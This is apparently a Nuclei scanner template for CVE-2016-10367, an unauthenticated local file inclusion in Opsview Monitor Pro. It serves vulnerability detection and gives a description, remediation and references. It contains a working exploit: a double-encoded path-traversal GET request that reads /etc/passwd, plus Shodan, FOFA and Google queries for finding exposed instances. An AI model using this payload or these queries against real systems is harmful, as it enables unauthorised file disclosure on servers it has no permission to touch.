Opsview Monitor Pro prior to 5.1.0.162300841, prior to 5.0.2.27475, prior to 4.6.4.162391051, and 4.5.x without a certain 2016 security patch is vulnerable to unauthenticated local file inclusion and can be exploited by issuing a specially crafted HTTP GET request utilizing a simple bypass.
PoC代码[已公开]
id: CVE-2016-10367
info:
name: Opsview Monitor Pro - Local File Inclusion
author: 0x_akoko
severity: high
description: Opsview Monitor Pro prior to 5.1.0.162300841, prior to 5.0.2.27475, prior to 4.6.4.162391051, and 4.5.x without a certain 2016 security patch is vulnerable to unauthenticated local file inclusion and can be exploited by issuing a specially crafted HTTP GET request utilizing a simple bypass.
impact: |
An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
remediation: |
Upgrade to the latest version of Opsview Monitor Pro to fix the local file inclusion vulnerability.
reference:
- https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18774
- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-016/?fid=8341
- https://nvd.nist.gov/vuln/detail/CVE-2016-10367
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2016-10367
cwe-id: CWE-22
epss-score: 0.52468
epss-percentile: 0.97856
cpe: cpe:2.3:a:opsview:opsview:4.5.0:*:*:*:pro:*:*:*
metadata:
verified: true
max-request: 1
vendor: opsview
product: opsview
shodan-query:
- title:"Opsview"
- http.title:"opsview"
fofa-query: title="opsview"
google-query: intitle:"opsview"
tags: cve2016,cve,opsview,lfi
http:
- method: GET
path:
- "{{BaseURL}}/monitoring/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 404
# digest: 4b0a00483046022100b652bc222238ea4bdebf67f341e96d0fb52082f68b44635952192585c8f28dfc022100832b85b66ab22fe31701923b83d1e55465e906b625b5977e64be0d58653070ac:922c64590222798bb761d5b6d8e72950